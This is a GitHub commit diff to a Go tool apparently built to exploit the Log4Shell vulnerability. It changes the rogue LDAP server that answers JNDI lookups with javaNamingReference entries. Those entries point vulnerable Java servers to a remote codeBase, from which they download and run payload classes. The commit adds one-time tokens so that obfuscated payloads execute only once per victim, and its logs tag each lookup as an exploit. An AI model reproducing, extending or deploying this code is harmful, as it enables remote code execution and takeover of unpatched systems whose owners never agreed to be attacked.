Skip to content

Commit d6df78e

Browse files
committed
add token for prevent repeat execute payload when use obfuscate.
1 parent e613ddd commit d6df78e

File tree

2 files changed

+83
-6
lines changed

2 files changed

+83
-6
lines changed

ldap.go

Lines changed: 79 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,15 +2,30 @@ package log4shell
22

33
import (
44
"log"
5+
"os"
6+
"path/filepath"
7+
"strings"
8+
"sync"
9+
"time"
510

611
"github.com/For-ACGN/ldapserver"
712
"github.com/lor00x/goldap/message"
813
)
914

15+
// TokenExpireTime is used to prevent repeat execute payload.
16+
const TokenExpireTime = 20 // second
17+
1018
type ldapHandler struct {
1119
logger *log.Logger
1220

13-
codeBase string
21+
payloadDir string
22+
codeBase string
23+
24+
// tokens set is used to prevent repeat
25+
// execute payload when use obfuscate.
26+
// key is token, value is timestamp
27+
tokens map[string]int64
28+
tokensMu sync.Mutex
1429
}
1530

1631
func (h *ldapHandler) handleBind(w ldapserver.ResponseWriter, _ *ldapserver.Message) {
@@ -19,14 +34,50 @@ func (h *ldapHandler) handleBind(w ldapserver.ResponseWriter, _ *ldapserver.Mess
1934
}
2035

2136
func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Message) {
37+
addr := m.Client.Addr()
2238
req := m.GetSearchRequest()
2339
dn := string(req.BaseObject())
2440

25-
// the last "/" about attr can't be deleted, otherwise
26-
// java will not execute the downloaded class.
27-
addr := m.Client.Addr()
41+
// check class name has token
42+
if strings.Contains(dn, "_") {
43+
// parse token
44+
sections := strings.SplitN(dn, "_", 2)
45+
class := sections[0]
46+
if class == "" {
47+
h.logger.Printf("[warning] %s search invalid java class \"%s\"", addr, dn)
48+
h.sendError(w)
49+
return
50+
}
51+
// check token is already exists
52+
token := sections[1]
53+
if token == "" {
54+
h.logger.Printf("[warning] %s search java class with invalid token \"%s\"", addr, dn)
55+
h.sendError(w)
56+
return
57+
}
58+
if !h.checkToken(token) {
59+
h.sendError(w)
60+
return
61+
}
62+
dn = class
63+
}
64+
2865
h.logger.Printf("[exploit] %s search java class \"%s\"", addr, dn)
2966

67+
// check class file is exists
68+
fi, err := os.Stat(filepath.Join(h.payloadDir, dn+".class"))
69+
if err != nil {
70+
h.logger.Printf("[error] %s failed to search java class \"%s\": %s", addr, dn, err)
71+
h.sendError(w)
72+
return
73+
}
74+
if fi.IsDir() {
75+
h.logger.Printf("[error] %s searched java class \"%s\" is a directory", addr, dn)
76+
h.sendError(w)
77+
return
78+
}
79+
80+
// send search result
3081
res := ldapserver.NewSearchResultEntry(dn)
3182
res.AddAttribute("objectClass", "javaNamingReference")
3283
res.AddAttribute("javaClassName", message.AttributeValue(dn))
@@ -37,3 +88,27 @@ func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Me
3788
done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultSuccess)
3889
w.Write(done)
3990
}
91+
92+
func (h *ldapHandler) checkToken(token string) bool {
93+
h.tokensMu.Lock()
94+
defer h.tokensMu.Unlock()
95+
// clean token first
96+
now := time.Now().Unix()
97+
for key, timestamp := range h.tokens {
98+
delta := now - timestamp
99+
if delta > TokenExpireTime || delta < -TokenExpireTime {
100+
delete(h.tokens, key)
101+
}
102+
}
103+
// check token is already exists
104+
if _, ok := h.tokens[token]; ok {
105+
return false
106+
}
107+
h.tokens[token] = time.Now().Unix()
108+
return true
109+
}
110+
111+
func (h *ldapHandler) sendError(w ldapserver.ResponseWriter) {
112+
done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultNoSuchObject)
113+
w.Write(done)
114+
}

log4shell.go

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -149,8 +149,10 @@ func New(cfg *Config) (*Server, error) {
149149
addr := net.JoinHostPort(cfg.Hostname, port)
150150
codeBase := fmt.Sprintf("%s://%s/%s/", scheme, addr, secret)
151151
ldapHandler := ldapHandler{
152-
logger: logger,
153-
codeBase: codeBase,
152+
logger: logger,
153+
payloadDir: cfg.PayloadDir,
154+
codeBase: codeBase,
155+
tokens: make(map[string]int64, 16),
154156
}
155157
ldapRoute := ldapserver.NewRouteMux()
156158
ldapRoute.Bind(ldapHandler.handleBind)

0 commit comments

Comments
 (0)